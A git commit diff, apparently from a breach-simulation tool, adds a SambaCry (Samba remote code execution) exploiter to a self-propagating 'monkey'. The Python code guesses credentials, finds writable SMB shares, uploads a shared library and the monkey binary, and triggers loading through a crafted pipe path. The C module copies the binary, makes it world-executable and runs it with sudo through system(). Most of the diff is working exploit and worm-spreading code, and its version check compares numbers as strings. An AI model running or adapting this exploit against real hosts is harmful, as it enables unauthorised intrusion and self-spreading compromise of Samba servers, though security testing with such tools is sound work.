sambacry almost working e2e
This commit is contained in:
parent
4ce1653c8f
commit
194ed624c2
|
@ -1,7 +1,8 @@
|
||||||
import os
|
import os
|
||||||
import sys
|
import sys
|
||||||
from network.range import FixedRange, RelativeRange, ClassCRange
|
from network.range import FixedRange, RelativeRange, ClassCRange
|
||||||
from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter
|
from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter,\
|
||||||
|
SambaCryExploiter
|
||||||
from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger
|
from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger
|
||||||
from abc import ABCMeta
|
from abc import ABCMeta
|
||||||
from itertools import product
|
from itertools import product
|
||||||
|
@ -141,7 +142,7 @@ class Configuration(object):
|
||||||
scanner_class = TcpScanner
|
scanner_class = TcpScanner
|
||||||
finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger]
|
finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger]
|
||||||
exploiter_classes = [SmbExploiter, WmiExploiter, RdpExploiter, Ms08_067_Exploiter, # Windows exploits
|
exploiter_classes = [SmbExploiter, WmiExploiter, RdpExploiter, Ms08_067_Exploiter, # Windows exploits
|
||||||
SSHExploiter, ShellShockExploiter # Linux
|
SSHExploiter, ShellShockExploiter, SambaCryExploiter # Linux
|
||||||
]
|
]
|
||||||
|
|
||||||
# how many victims to look for in a single scan iteration
|
# how many victims to look for in a single scan iteration
|
||||||
|
|
|
@ -20,3 +20,4 @@ from smbexec import SmbExploiter
|
||||||
from rdpgrinder import RdpExploiter
|
from rdpgrinder import RdpExploiter
|
||||||
from sshexec import SSHExploiter
|
from sshexec import SSHExploiter
|
||||||
from shellshock import ShellShockExploiter
|
from shellshock import ShellShockExploiter
|
||||||
|
from sambacry import SambaCryExploiter
|
||||||
|
|
|
@ -2,7 +2,12 @@ from optparse import OptionParser
|
||||||
from impacket.dcerpc.v5 import transport
|
from impacket.dcerpc.v5 import transport
|
||||||
from os import path
|
from os import path
|
||||||
import time
|
import time
|
||||||
|
import sys
|
||||||
|
from io import BytesIO
|
||||||
|
import logging
|
||||||
|
import re
|
||||||
from impacket.smbconnection import SMBConnection
|
from impacket.smbconnection import SMBConnection
|
||||||
|
import impacket.smbconnection
|
||||||
from impacket.smb import SessionError
|
from impacket.smb import SessionError
|
||||||
from impacket.nt_errors import STATUS_OBJECT_NAME_NOT_FOUND, STATUS_ACCESS_DENIED
|
from impacket.nt_errors import STATUS_OBJECT_NAME_NOT_FOUND, STATUS_ACCESS_DENIED
|
||||||
from impacket.nt_errors import STATUS_SUCCESS
|
from impacket.nt_errors import STATUS_SUCCESS
|
||||||
|
@ -13,42 +18,46 @@ from impacket.smb3structs import SMB2_IL_IMPERSONATION, SMB2_CREATE, SMB2_FLAGS_
|
||||||
|
|
||||||
from exploit import HostExploiter
|
from exploit import HostExploiter
|
||||||
from exploit.tools import get_target_monkey
|
from exploit.tools import get_target_monkey
|
||||||
from smbfinger import SMB_SERVICE
|
from network.smbfinger import SMB_SERVICE
|
||||||
from model import DROPPER_ARG
|
from model import DROPPER_ARG
|
||||||
from tools import build_monkey_commandline
|
from tools import build_monkey_commandline
|
||||||
import monkeyfs
|
import monkeyfs
|
||||||
from config import WormConfiguration
|
|
||||||
|
|
||||||
__author__ = 'itay.mizeretz'
|
__author__ = 'itay.mizeretz'
|
||||||
|
|
||||||
# TODO: add documentation
|
# TODO: add documentation
|
||||||
# TODO: add logs
|
|
||||||
|
|
||||||
# TODO: add license credit?: https://github.com/CoreSecurity/impacket/blob/master/examples/sambaPipe.py
|
# TODO: add license credit?: https://github.com/CoreSecurity/impacket/blob/master/examples/sambaPipe.py
|
||||||
|
|
||||||
# TODO: remove /home/user
|
# TODO: remove /home/user
|
||||||
# TODO: take all from config
|
# TODO: take all from config
|
||||||
FOLDER_PATHS_TO_GUESS = ['', '/mnt', '/tmp', '/storage', '/export', '/share', '/shares', '/home', '/home/user']
|
FOLDER_PATHS_TO_GUESS = ['', '/mnt', '/tmp', '/storage', '/export', '/share', '/shares', '/home', '/home/user']
|
||||||
RUNNER_FILENAME_32 = "monkey_runner32.so"
|
RUNNER_FILENAME_32 = "sc_monkey_runner32.so"
|
||||||
RUNNER_FILENAME_64 = "monkey_runner64.so"
|
RUNNER_FILENAME_64 = "sc_monkey_runner64.so"
|
||||||
COMMANDLINE_FILENAME = "monkey_commandline.txt"
|
COMMANDLINE_FILENAME = "monkey_commandline.txt"
|
||||||
MONKEY_FILENAME_32 = "monkey32"
|
MONKEY_FILENAME_32 = "monkey32"
|
||||||
MONKEY_FILENAME_64 = "monkey64"
|
MONKEY_FILENAME_64 = "monkey64"
|
||||||
MONKEY_COPY_FILENAME_32 = "monkey32_2"
|
MONKEY_COPY_FILENAME_32 = "monkey32_2"
|
||||||
MONKEY_COPY_FILENAME_64 = "monkey64_2"
|
MONKEY_COPY_FILENAME_64 = "monkey64_2"
|
||||||
|
RUNNER_RESULT_FILENAME = "monkey_runner_result"
|
||||||
SHARES_TO_NOT_CHECK = ["IPC$", "print$"]
|
SHARES_TO_NOT_CHECK = ["IPC$", "print$"]
|
||||||
|
|
||||||
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
class SambaCryExploiter(HostExploiter):
|
class SambaCryExploiter(HostExploiter):
|
||||||
_target_os_type = ['linux']
|
_target_os_type = ['linux']
|
||||||
|
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
pass
|
self._config = __import__('config').WormConfiguration
|
||||||
|
|
||||||
def exploit_host(self, host, depth=-1, src_path=None):
|
def exploit_host(self, host, depth=-1, src_path=None):
|
||||||
self.is_vulnerable(host)
|
if not self.is_vulnerable(host):
|
||||||
|
return
|
||||||
|
|
||||||
writable_shares_creds_dict = self.get_writable_shares_creds_dict(host.ip_addr)
|
writable_shares_creds_dict = self.get_writable_shares_creds_dict(host.ip_addr)
|
||||||
|
LOG.info("Writable shares and their credentials on host %s: %s" %
|
||||||
|
(host.ip_addr, str(writable_shares_creds_dict)))
|
||||||
|
|
||||||
# TODO: decide about ignoring src_path because of arc detection bug
|
# TODO: decide about ignoring src_path because of arc detection bug
|
||||||
src_path = src_path or get_target_monkey(host)
|
src_path = src_path or get_target_monkey(host)
|
||||||
|
@ -59,30 +68,64 @@ class SambaCryExploiter(HostExploiter):
|
||||||
# TODO: config sleep time
|
# TODO: config sleep time
|
||||||
time.sleep(5)
|
time.sleep(5)
|
||||||
|
|
||||||
|
successfully_triggered_shares = []
|
||||||
|
|
||||||
for share in writable_shares_creds_dict:
|
for share in writable_shares_creds_dict:
|
||||||
self.clean_share(host.ip_addr, share, writable_shares_creds_dict[share])
|
trigger_result = self.get_trigger_result(host.ip_addr, share, writable_shares_creds_dict[share])
|
||||||
|
if trigger_result is not None:
|
||||||
|
successfully_triggered_shares.append((share, trigger_result))
|
||||||
|
# TODO: uncomment
|
||||||
|
#self.clean_share(host.ip_addr, share, writable_shares_creds_dict[share])
|
||||||
|
|
||||||
|
# TODO: send telemetry
|
||||||
|
|
||||||
|
if len(successfully_triggered_shares) > 0:
|
||||||
|
LOG.info("Shares triggered successfully on host %s: %s" % (host.ip_addr, str(successfully_triggered_shares)))
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
LOG.info("No shares triggered successfully on host %s" % host.ip_addr)
|
||||||
|
return False
|
||||||
|
|
||||||
def try_exploit_share(self, host, share, creds, monkey_bin_src_path, depth):
|
def try_exploit_share(self, host, share, creds, monkey_bin_src_path, depth):
|
||||||
smb_client = self.connect_to_server(host.ip_addr, creds)
|
try:
|
||||||
self.upload_module(smb_client, host, share, monkey_bin_src_path, depth)
|
smb_client = self.connect_to_server(host.ip_addr, creds)
|
||||||
self.trigger_module(smb_client, share)
|
self.upload_module(smb_client, host, share, monkey_bin_src_path, depth)
|
||||||
smb_client.logoff()
|
self.trigger_module(smb_client, share)
|
||||||
|
smb_client.close()
|
||||||
|
except (impacket.smbconnection.SessionError, SessionError):
|
||||||
|
LOG.debug("Exception trying to exploit host: %s, share: %s, with creds: %s." % (host.ip_addr, share, str(creds)))
|
||||||
|
|
||||||
def clean_share(self, ip, share, creds):
|
def clean_share(self, ip, share, creds):
|
||||||
smb_client = self.connect_to_server(ip, creds)
|
smb_client = self.connect_to_server(ip, creds)
|
||||||
tree_id = smb_client.connectTree(share)
|
tree_id = smb_client.connectTree(share)
|
||||||
file_list = [COMMANDLINE_FILENAME, RUNNER_FILENAME_32, RUNNER_FILENAME_64,
|
file_list = [COMMANDLINE_FILENAME, RUNNER_RESULT_FILENAME,
|
||||||
|
RUNNER_FILENAME_32, RUNNER_FILENAME_64,
|
||||||
MONKEY_FILENAME_32, MONKEY_FILENAME_64,
|
MONKEY_FILENAME_32, MONKEY_FILENAME_64,
|
||||||
MONKEY_COPY_FILENAME_32, MONKEY_COPY_FILENAME_64]
|
MONKEY_COPY_FILENAME_32, MONKEY_COPY_FILENAME_64]
|
||||||
|
|
||||||
for filename in file_list:
|
for filename in file_list:
|
||||||
try:
|
try:
|
||||||
smb_client.deleteFile(share, "\\%s" % filename)
|
smb_client.deleteFile(share, "\\%s" % filename)
|
||||||
except:
|
except (impacket.smbconnection.SessionError, SessionError):
|
||||||
# Ignore exception to try and delete as much as possible
|
# Ignore exception to try and delete as much as possible
|
||||||
pass
|
pass
|
||||||
smb_client.disconnectTree(tree_id)
|
smb_client.disconnectTree(tree_id)
|
||||||
smb_client.logoff()
|
smb_client.close()
|
||||||
|
|
||||||
|
def get_trigger_result(self, ip, share, creds):
|
||||||
|
smb_client = self.connect_to_server(ip, creds)
|
||||||
|
tree_id = smb_client.connectTree(share)
|
||||||
|
file_content = None
|
||||||
|
try:
|
||||||
|
file_id = smb_client.openFile(share, "\\%s" % RUNNER_RESULT_FILENAME, desiredAccess=FILE_READ_DATA)
|
||||||
|
file_content = smb_client.readFile(tree_id, file_id)
|
||||||
|
smb_client.closeFile(tree_id, file_id)
|
||||||
|
except (impacket.smbconnection.SessionError, SessionError) as e:
|
||||||
|
pass
|
||||||
|
|
||||||
|
smb_client.disconnectTree(tree_id)
|
||||||
|
smb_client.close()
|
||||||
|
return file_content
|
||||||
|
|
||||||
def get_writable_shares_creds_dict(self, ip):
|
def get_writable_shares_creds_dict(self, ip):
|
||||||
# TODO: document
|
# TODO: document
|
||||||
|
@ -90,24 +133,28 @@ class SambaCryExploiter(HostExploiter):
|
||||||
credentials_list = self.get_credentials_list()
|
credentials_list = self.get_credentials_list()
|
||||||
|
|
||||||
for credentials in credentials_list:
|
for credentials in credentials_list:
|
||||||
smb_client = self.connect_to_server(ip, credentials)
|
try:
|
||||||
shares = self.list_shares(smb_client)
|
smb_client = self.connect_to_server(ip, credentials)
|
||||||
|
shares = self.list_shares(smb_client)
|
||||||
|
|
||||||
# don't try shares we can already write to.
|
# don't try shares we can already write to.
|
||||||
for writable_share in writable_shares_creds_dict:
|
for writable_share in writable_shares_creds_dict:
|
||||||
if writable_share in shares:
|
if writable_share in shares:
|
||||||
shares.remove(writable_share)
|
shares.remove(writable_share)
|
||||||
|
|
||||||
for share in shares:
|
for share in shares:
|
||||||
if self.is_share_writable(smb_client, share):
|
if self.is_share_writable(smb_client, share):
|
||||||
writable_shares_creds_dict[share] = credentials
|
writable_shares_creds_dict[share] = credentials
|
||||||
|
|
||||||
smb_client.logoff()
|
smb_client.close()
|
||||||
|
except (impacket.smbconnection.SessionError, SessionError):
|
||||||
|
# If failed using some credentials, try others.
|
||||||
|
pass
|
||||||
|
|
||||||
return writable_shares_creds_dict
|
return writable_shares_creds_dict
|
||||||
|
|
||||||
def get_credentials_list(self):
|
def get_credentials_list(self):
|
||||||
user_password_pairs = WormConfiguration.get_exploit_user_password_pairs()
|
user_password_pairs = self._config.get_exploit_user_password_pairs()
|
||||||
credentials_list = [{'username': '', 'password': '', 'lm_hash': '', 'ntlm_hash': ''}]
|
credentials_list = [{'username': '', 'password': '', 'lm_hash': '', 'ntlm_hash': ''}]
|
||||||
|
|
||||||
for user, password in user_password_pairs:
|
for user, password in user_password_pairs:
|
||||||
|
@ -124,26 +171,45 @@ class SambaCryExploiter(HostExploiter):
|
||||||
return shares
|
return shares
|
||||||
|
|
||||||
def is_vulnerable(self, host):
|
def is_vulnerable(self, host):
|
||||||
if not host.services.has_key(SMB_SERVICE):
|
if SMB_SERVICE not in host.services:
|
||||||
|
LOG.info("Host: %s doesn't have SMB open" % host.ip_addr)
|
||||||
return False
|
return False
|
||||||
# TODO: check if version is supported
|
|
||||||
# smb_server_name = host.services[SMB_SERVICE].get('name')
|
|
||||||
|
|
||||||
return True
|
pattern = re.compile(r'\d*\.\d*\.\d*')
|
||||||
|
smb_server_name = host.services[SMB_SERVICE].get('name')
|
||||||
|
samba_version = "unknown"
|
||||||
|
pattern_result = pattern.search(smb_server_name)
|
||||||
|
is_vulnerable = False
|
||||||
|
if pattern_result is not None:
|
||||||
|
samba_version = smb_server_name[pattern_result.start():pattern_result.end()]
|
||||||
|
samba_version_parts = samba_version.split('.')
|
||||||
|
if (samba_version_parts[0] == "3") and (samba_version_parts[1] >= "5"):
|
||||||
|
is_vulnerable = True
|
||||||
|
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] <= "3"):
|
||||||
|
is_vulnerable = True
|
||||||
|
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "4") and (samba_version_parts[1] <= "13"):
|
||||||
|
is_vulnerable = True
|
||||||
|
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "5") and (samba_version_parts[1] <= "9"):
|
||||||
|
is_vulnerable = True
|
||||||
|
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "6") and (samba_version_parts[1] <= "3"):
|
||||||
|
is_vulnerable = True
|
||||||
|
|
||||||
|
LOG.info("Host: %s.samba server name: %s. samba version: %s. is vulnerable: %d" %
|
||||||
|
(host.ip_addr, smb_server_name, samba_version, int(is_vulnerable)))
|
||||||
|
|
||||||
|
return is_vulnerable
|
||||||
|
|
||||||
def is_share_writable(self, smb_client, share):
|
def is_share_writable(self, smb_client, share):
|
||||||
# TODO: logs
|
LOG.debug('Checking %s for write access' % share)
|
||||||
#logging.debug('Checking %s for write access' % shareName)
|
|
||||||
try:
|
try:
|
||||||
#logging.debug('Connecting to share %s' % shareName)
|
|
||||||
tree_id = smb_client.connectTree(share)
|
tree_id = smb_client.connectTree(share)
|
||||||
except Exception as e:
|
except (impacket.smbconnection.SessionError, SessionError):
|
||||||
return False
|
return False
|
||||||
|
|
||||||
try:
|
try:
|
||||||
smb_client.openFile(tree_id, '\\', FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE)
|
smb_client.openFile(tree_id, '\\', FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE)
|
||||||
writable = True
|
writable = True
|
||||||
except Exception as e:
|
except (impacket.smbconnection.SessionError, SessionError):
|
||||||
writable = False
|
writable = False
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
@ -153,20 +219,21 @@ class SambaCryExploiter(HostExploiter):
|
||||||
|
|
||||||
def upload_module(self, smb_client, host, share, monkey_bin_src_path, depth):
|
def upload_module(self, smb_client, host, share, monkey_bin_src_path, depth):
|
||||||
tree_id = smb_client.connectTree(share)
|
tree_id = smb_client.connectTree(share)
|
||||||
self.write_file_to_server(smb_client, share, COMMANDLINE_FILENAME, self.get_monkey_commandline_supplier(host, depth))
|
|
||||||
|
with self.get_monkey_commandline_file(host, depth, self._config.dropper_target_path_linux) as monkey_commandline_file:
|
||||||
|
smb_client.putFile(share, "\\%s" % COMMANDLINE_FILENAME, monkey_commandline_file.read)
|
||||||
|
|
||||||
with self.get_monkey_runner_bin_file(True) as monkey_runner_bin_file:
|
with self.get_monkey_runner_bin_file(True) as monkey_runner_bin_file:
|
||||||
self.write_file_to_server(smb_client, share, RUNNER_FILENAME_32, monkey_runner_bin_file.read)
|
smb_client.putFile(share, "\\%s" % RUNNER_FILENAME_32, monkey_runner_bin_file.read)
|
||||||
|
|
||||||
with self.get_monkey_runner_bin_file(False) as monkey_runner_bin_file:
|
with self.get_monkey_runner_bin_file(False) as monkey_runner_bin_file:
|
||||||
self.write_file_to_server(smb_client, share, RUNNER_FILENAME_64, monkey_runner_bin_file.read)
|
smb_client.putFile(share, "\\%s" % RUNNER_FILENAME_64, monkey_runner_bin_file.read)
|
||||||
|
|
||||||
with monkeyfs.open(monkey_bin_src_path, "rb") as monkey_bin_file:
|
with monkeyfs.open(monkey_bin_src_path, "rb") as monkey_bin_file:
|
||||||
# TODO: Fix or postpone 32/64 architecture problem.
|
# TODO: Fix or postpone 32/64 architecture problem.
|
||||||
self.write_file_to_server(smb_client, share, MONKEY_FILENAME_32, monkey_bin_file.read)
|
smb_client.putFile(share, "\\%s" % MONKEY_FILENAME_64, monkey_bin_file.read)
|
||||||
self.write_file_to_server(smb_client, share, MONKEY_FILENAME_64, monkey_bin_file.read)
|
|
||||||
smb_client.disconnectTree(tree_id)
|
|
||||||
|
|
||||||
def write_file_to_server(self, smb_client, share, file_name, file_handle):
|
smb_client.disconnectTree(tree_id)
|
||||||
smb_client.putFile(share, "\\%s" % file_name, file_handle.read)
|
|
||||||
file_handle.close()
|
|
||||||
|
|
||||||
def connect_to_server(self, ip, credentials):
|
def connect_to_server(self, ip, credentials):
|
||||||
"""
|
"""
|
||||||
|
@ -176,7 +243,8 @@ class SambaCryExploiter(HostExploiter):
|
||||||
:return: SMBConnection object representing the connection
|
:return: SMBConnection object representing the connection
|
||||||
"""
|
"""
|
||||||
smb_client = SMBConnection(ip, ip)
|
smb_client = SMBConnection(ip, ip)
|
||||||
smb_client.login(credentials["username"], credentials["password"], '', credentials["lm_hash"], credentials["ntlm_hash"])
|
smb_client.login(
|
||||||
|
credentials["username"], credentials["password"], '', credentials["lm_hash"], credentials["ntlm_hash"])
|
||||||
return smb_client
|
return smb_client
|
||||||
|
|
||||||
def trigger_module(self, smb_client, share_name):
|
def trigger_module(self, smb_client, share_name):
|
||||||
|
@ -192,18 +260,21 @@ class SambaCryExploiter(HostExploiter):
|
||||||
Tries triggering module by path
|
Tries triggering module by path
|
||||||
:param smb_client: smb client object
|
:param smb_client: smb client object
|
||||||
:param module_path: full path of the module. e.g. "/home/user/share/sc_module.so"
|
:param module_path: full path of the module. e.g. "/home/user/share/sc_module.so"
|
||||||
:return: False on unexpected exception. True otherwise
|
:return: True if might triggered successfully, False otherwise.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
try:
|
try:
|
||||||
# the extra / on the beginning is required for the vulnerability
|
# the extra / on the beginning is required for the vulnerability
|
||||||
self.openPipe(smb_client, "/" + module_path)
|
self.openPipe(smb_client, "/" + module_path)
|
||||||
except SessionError as e:
|
except (impacket.smbconnection.SessionError, SessionError) as e:
|
||||||
# This is the expected result. We can't tell whether we succeeded or not just by this error code.
|
# This is the expected result. We can't tell whether we succeeded or not just by this error code.
|
||||||
if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') < 0:
|
if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
|
||||||
return False
|
return True
|
||||||
|
else:
|
||||||
|
# TODO: remove print
|
||||||
|
print str(e)
|
||||||
|
|
||||||
return True
|
return False
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def generate_module_possible_paths(share_name):
|
def generate_module_possible_paths(share_name):
|
||||||
|
@ -212,30 +283,29 @@ class SambaCryExploiter(HostExploiter):
|
||||||
:param share_name: Name of the share
|
:param share_name: Name of the share
|
||||||
:return: Array of possible full paths to the module.
|
:return: Array of possible full paths to the module.
|
||||||
"""
|
"""
|
||||||
possible_paths_32 =\
|
possible_paths = []
|
||||||
(('%s/%s/%s' % (folder_path, share_name, RUNNER_FILENAME_32)) for folder_path in FOLDER_PATHS_TO_GUESS)
|
|
||||||
possible_paths_64 = \
|
for folder_path in FOLDER_PATHS_TO_GUESS:
|
||||||
(('%s/%s/%s' % (folder_path, share_name, RUNNER_FILENAME_64)) for folder_path in FOLDER_PATHS_TO_GUESS)
|
for file_name in [RUNNER_FILENAME_32, RUNNER_FILENAME_64]:
|
||||||
return possible_paths_32 + possible_paths_64
|
possible_paths.append('%s/%s/%s' % (folder_path, share_name, file_name))
|
||||||
|
return possible_paths
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_monkey_runner_bin_file(is_32bit):
|
def get_monkey_runner_bin_file(is_32bit):
|
||||||
# TODO: get from config
|
|
||||||
if is_32bit:
|
if is_32bit:
|
||||||
return open("sc_monkey_runner32.so", "rb")
|
return open(path.join(sys._MEIPASS, RUNNER_FILENAME_32), "rb")
|
||||||
else:
|
else:
|
||||||
return open("sc_monkey_runner64.so", "rb")
|
return open(path.join(sys._MEIPASS, RUNNER_FILENAME_64), "rb")
|
||||||
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_monkey_commandline_supplier(host, depth):
|
def get_monkey_commandline_file(host, depth, location):
|
||||||
return lambda x: DROPPER_ARG + build_monkey_commandline(host, depth - 1)
|
return BytesIO(DROPPER_ARG + build_monkey_commandline(host, depth - 1, location))
|
||||||
|
|
||||||
# Following are slightly modified SMB functions from impacket to fit our needs of the vulnerability #
|
# Following are slightly modified SMB functions from impacket to fit our needs of the vulnerability #
|
||||||
|
def createSmb(self, smb_client, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition,
|
||||||
def createSmb(self, smb_client, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition, fileAttributes,
|
fileAttributes, impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0,
|
||||||
impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0, oplockLevel=SMB2_OPLOCK_LEVEL_NONE,
|
oplockLevel=SMB2_OPLOCK_LEVEL_NONE, createContexts=None):
|
||||||
createContexts=None):
|
|
||||||
|
|
||||||
packet = smb_client.getSMBServer().SMB_PACKET()
|
packet = smb_client.getSMBServer().SMB_PACKET()
|
||||||
packet['Command'] = SMB2_CREATE
|
packet['Command'] = SMB2_CREATE
|
||||||
|
@ -283,9 +353,7 @@ class SambaCryExploiter(HostExploiter):
|
||||||
# We need to overwrite Impacket's openFile functions since they automatically convert paths to NT style
|
# We need to overwrite Impacket's openFile functions since they automatically convert paths to NT style
|
||||||
# to make things easier for the caller. Not this time ;)
|
# to make things easier for the caller. Not this time ;)
|
||||||
treeId = smb_client.connectTree('IPC$')
|
treeId = smb_client.connectTree('IPC$')
|
||||||
# TODO: uncomment
|
LOG.debug('Triggering path: %s' % pathName)
|
||||||
#logging.info('Final path to load is %s' % pathName)
|
|
||||||
#logging.info('Triggering bug now, cross your fingers')
|
|
||||||
|
|
||||||
if smb_client.getDialect() == SMB_DIALECT:
|
if smb_client.getDialect() == SMB_DIALECT:
|
||||||
_, flags2 = smb_client.getSMBServer().get_flags()
|
_, flags2 = smb_client.getSMBServer().get_flags()
|
||||||
|
@ -312,4 +380,4 @@ class SambaCryExploiter(HostExploiter):
|
||||||
return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate)
|
return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate)
|
||||||
else:
|
else:
|
||||||
return self.createSmb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA, shareMode=FILE_SHARE_READ,
|
return self.createSmb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA, shareMode=FILE_SHARE_READ,
|
||||||
creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, fileAttributes=0)
|
creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, fileAttributes=0)
|
||||||
|
|
|
@ -443,7 +443,7 @@ def get_target_monkey(host):
|
||||||
return monkey_path
|
return monkey_path
|
||||||
|
|
||||||
|
|
||||||
def build_monkey_commandline(target_host, depth):
|
def build_monkey_commandline(target_host, depth, location=None):
|
||||||
from config import WormConfiguration, GUID
|
from config import WormConfiguration, GUID
|
||||||
|
|
||||||
cmdline = ""
|
cmdline = ""
|
||||||
|
@ -458,6 +458,9 @@ def build_monkey_commandline(target_host, depth):
|
||||||
|
|
||||||
cmdline += " -d %d" % depth
|
cmdline += " -d %d" % depth
|
||||||
|
|
||||||
|
if location is not None:
|
||||||
|
cmdline += " -l %s" % location
|
||||||
|
|
||||||
return cmdline
|
return cmdline
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -1,2 +1,2 @@
|
||||||
gcc -c -Wall -Werror -fpic monkey_runner.c
|
gcc -c -Wall -Werror -fpic sc_monkey_runner.c
|
||||||
gcc -shared -o monkey_runner.so monkey_runner.o
|
gcc -shared -o sc_monkey_runner.so sc_monkey_runner.o
|
||||||
|
|
|
@ -4,13 +4,13 @@
|
||||||
#include <sys/stat.h>
|
#include <sys/stat.h>
|
||||||
#include <unistd.h>
|
#include <unistd.h>
|
||||||
|
|
||||||
#include "monkey_runner.h"
|
#include "sc_monkey_runner.h"
|
||||||
|
|
||||||
#if __x86_64__
|
#ifdef __x86_64__
|
||||||
#define ARC_IS_64
|
#define ARC_IS_64
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
#if _____LP64_____
|
#ifdef _____LP64_____
|
||||||
#define ARC_IS_64
|
#define ARC_IS_64
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
|
@ -19,16 +19,16 @@
|
||||||
|
|
||||||
int samba_init_module(void)
|
int samba_init_module(void)
|
||||||
{
|
{
|
||||||
#if ARC_IS_64
|
#ifdef ARC_IS_64
|
||||||
const char RUNNER_FILENAME[] = "monkey_runner64.so";
|
const char RUNNER_FILENAME[] = "sc_monkey_runner64.so";
|
||||||
const char MONKEY_NAME[] = "monkey64";
|
const char MONKEY_NAME[] = "monkey64";
|
||||||
const char MONKEY_COPY_NAME[] = "monkey64_2";
|
const char MONKEY_COPY_NAME[] = "monkey64_2";
|
||||||
#else
|
#else
|
||||||
const char RUNNER_FILENAME[] = "monkey_runner32.so";
|
const char RUNNER_FILENAME[] = "sc_monkey_runner32.so";
|
||||||
const char MONKEY_NAME[] = "monkey32";
|
const char MONKEY_NAME[] = "monkey32";
|
||||||
const char MONKEY_COPY_NAME[] = "monkey32_2";
|
const char MONKEY_COPY_NAME[] = "monkey32_2";
|
||||||
#endif
|
#endif
|
||||||
|
const char RUNNER_RESULT_FILENAME[] = "monkey_runner_result";
|
||||||
const char COMMANDLINE_FILENAME[] = "monkey_commandline.txt";
|
const char COMMANDLINE_FILENAME[] = "monkey_commandline.txt";
|
||||||
const char ACCESS_MODE_STRING[] = "0777";
|
const char ACCESS_MODE_STRING[] = "0777";
|
||||||
const char RUN_MONKEY_CMD[] = "sudo ./";
|
const char RUN_MONKEY_CMD[] = "sudo ./";
|
||||||
|
@ -83,6 +83,16 @@ int samba_init_module(void)
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Write file to indicate we're running
|
||||||
|
pFile = fopen(RUNNER_RESULT_FILENAME, "w");
|
||||||
|
if (pFile == NULL)
|
||||||
|
{
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
fwrite(monkeyDirectory, 1, strlen(monkeyDirectory), pFile);
|
||||||
|
fclose(pFile);
|
||||||
|
|
||||||
// Read commandline
|
// Read commandline
|
||||||
pFile = fopen(COMMANDLINE_FILENAME, "r");
|
pFile = fopen(COMMANDLINE_FILENAME, "r");
|
||||||
if (pFile == NULL)
|
if (pFile == NULL)
|
||||||
|
@ -106,12 +116,12 @@ int samba_init_module(void)
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (0 != fseek (pFile , 0 , SEEK_END))
|
if (0 != fseek (pFile, 0 ,SEEK_END))
|
||||||
{
|
{
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
monkeySize = ftell (pFile);
|
monkeySize = ftell(pFile);
|
||||||
|
|
||||||
if (-1 == monkeySize)
|
if (-1 == monkeySize)
|
||||||
{
|
{
|
||||||
|
@ -131,19 +141,24 @@ int samba_init_module(void)
|
||||||
fclose(pFile);
|
fclose(pFile);
|
||||||
|
|
||||||
pFile = fopen(MONKEY_COPY_NAME, "wb");
|
pFile = fopen(MONKEY_COPY_NAME, "wb");
|
||||||
|
if (pFile == NULL)
|
||||||
|
{
|
||||||
|
free(monkeyBinary);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
fwrite(monkeyBinary, 1, monkeySize, pFile);
|
fwrite(monkeyBinary, 1, monkeySize, pFile);
|
||||||
fclose(pFile);
|
fclose(pFile);
|
||||||
free(monkeyBinary);
|
free(monkeyBinary);
|
||||||
|
|
||||||
// Change monkey permissions
|
// Change monkey permissions
|
||||||
accessMode = strtol(ACCESS_MODE_STRING, 0, 8);
|
accessMode = strtol(ACCESS_MODE_STRING, 0, 8);
|
||||||
if (chmod (MONKEY_COPY_NAME, accessMode) < 0)
|
if (chmod(MONKEY_COPY_NAME, accessMode) < 0)
|
||||||
{
|
{
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
system(commandline);
|
system(commandline);
|
||||||
|
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
Loading…
Reference in New Issue